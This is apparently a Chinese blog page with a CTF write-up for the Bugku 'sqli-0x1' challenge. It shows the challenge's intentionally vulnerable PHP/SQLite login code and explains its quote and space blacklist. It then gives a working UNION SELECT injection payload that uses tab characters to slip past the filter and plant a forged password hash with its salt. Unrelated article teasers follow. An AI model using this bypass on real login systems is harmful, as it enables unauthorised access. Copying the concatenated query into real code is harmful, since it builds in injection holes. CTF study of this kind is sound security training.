news 2026/6/10 12:40:04

bugku——sqli-0x1

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
bugku——sqli-0x1

尝试万能和密码

发现不行,查看源码。给了一个路径 /?pls_help

<?php error_reporting(0); error_log(0); require_once("flag.php"); function is_trying_to_hak_me($str) { $blacklist = ["' ", " '", '"', "`", " `", "` ", ">", "<"]; if (strpos($str, "'") !== false) { if (!preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)) { return true; } } foreach ($blacklist as $token) { if (strpos($str, $token) !== false) return true; } return false; } if (isset($_GET["pls_help"])) { highlight_file(__FILE__); exit; } if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) { $user = $_POST["user"]; $pass = $_POST["pass"]; if (is_trying_to_hak_me($user)) { die("why u bully me"); } $db = new SQLite3("/var/db.sqlite"); $result = $db->query("SELECT * FROM users WHERE username='$user'"); if ($result === false) die("pls dont break me"); else $result = $result->fetchArray(); if ($result) { $split = explode('$', $result["password"]); $password_hash = $split[0]; $salt = $split[1]; if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true; else $err = "Wrong password"; } else $err = "No such user"; } ?> <!DOCTYPE html> <html> <head> <title>Hack.INI 9th - SQLi</title> </head> <body> <?php if (isset($logged_in) && $logged_in): ?> <p>Welcome back admin! Have a flag: <?=htmlspecialchars($flag);?><p> <?php else: ?> <form method="post"> <input type="text" placeholder="Username" name="user" required> <input type="password" placeholder="Password" name="pass" required> <button type="submit">Login</button> <br><br> <?php if (isset($err)) echo $err; ?> </form> <?php endif; ?> <!-- <a href="/?pls_help">get some help</a> --> </body> </html>

第一部分

function is_trying_to_hak_me($str)里过滤了

['空格][空格']["][`][空格`][`空格][>][<]

只能存在 [数字或字母'数字或字母]的格式。

第二部分

是对这个/?pls_help高亮的。

第三部分

if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) { $user = $_POST["user"]; $pass = $_POST["pass"]; if (is_trying_to_hak_me($user)) { die("why u bully me"); } $db = new SQLite3("/var/db.sqlite"); $result = $db->query("SELECT * FROM users WHERE username='$user'"); if ($result === false) die("pls dont break me"); else $result = $result->fetchArray(); if ($result) { $split = explode('$', $result["password"]); $password_hash = $split[0]; $salt = $split[1]; if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true; else $err = "Wrong password"; } else $err = "No such user"; }

这里是先判断user和pass是不是非空的

然后中间,连接数据库,漏洞就出在这里,直接拼接$user。

然后重点是下面的部分

将password用$分开,然后第一部分split[0]是密码+盐的哈希值,第二部分是split[1]

我们需要创造一个新的记录

我么假设密码是123是456

我们先构造password就是sha256(密码+盐)$盐

8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92$456

然后构造查询语句

a'union%09select%09 1,'8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92$456'--+&pass=123

这里的%09是空格,不然会被第一部分过滤掉

答案就出来了。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 10:50:33

分布式数据库实战:JeecgBoot如何轻松应对千万级数据拆分?

还在为系统数据量暴增而头疼吗&#xff1f;当单表数据突破千万级别&#xff0c;查询性能急剧下降&#xff0c;系统响应越来越慢——这几乎是每个后端开发者都会遇到的成长烦恼。今天&#xff0c;就让我们通过JeecgBoot框架&#xff0c;来探索分布式数据库拆分的实战技巧&#x…

作者头像 李华
网站建设 2026/6/9 23:18:06

ComfyUI-SeedVR2视频超分终极指南:快速上手AI视频画质提升

ComfyUI-SeedVR2视频超分终极指南&#xff1a;快速上手AI视频画质提升 【免费下载链接】ComfyUI-SeedVR2_VideoUpscaler Non-Official SeedVR2 Vudeo Upscaler for ComfyUI 项目地址: https://gitcode.com/gh_mirrors/co/ComfyUI-SeedVR2_VideoUpscaler 想要将低分辨率视…

作者头像 李华
网站建设 2026/6/10 10:49:32

ArcGIS Pro 从入门到实战基础篇(9):工程模板

ArcGIS Pro 的 工程模板&#xff08;.aptx&#xff09; 是一种用于快速创建标准化工程的模板文件&#xff0c;目的是让所有新工程从同样的结构和配置开始&#xff0c;减少重复设置&#xff0c;提高项目一致性。 什么是工程模板 ArcGIS Pro 工程模板文件后缀为.aptx&#xff0…

作者头像 李华
网站建设 2026/6/10 13:36:02

Cesium快速入门26:加载渲染GeoJson数据

用 Cesium 做地理信息可视化&#xff0c;最常见的数据来源就是 GeoJSON。 今天带你把“四川地图”整个搬进来&#xff0c;一行代码加载&#xff0c;一行代码上色&#xff0c;比用 Three.js 自己解析省十倍功夫。 一、GeoJSON 长啥样&#xff1f; GeoJSON 里存的是“经纬度 属…

作者头像 李华
网站建设 2026/6/10 2:54:08

RPC与RPC框架Dubbo详解

本文总结&#xff1a;本文介绍了RPC&#xff08;远程过程调用&#xff09;的基本概念、工作流程及与HTTP的区别。RPC允许程序像调用本地方法一样调用远程服务&#xff0c;通过提供者、调用方和注册中心三个角色实现。文章对比了RPC与HTTP在设计、协议性能、服务治理等方面的差异…

作者头像 李华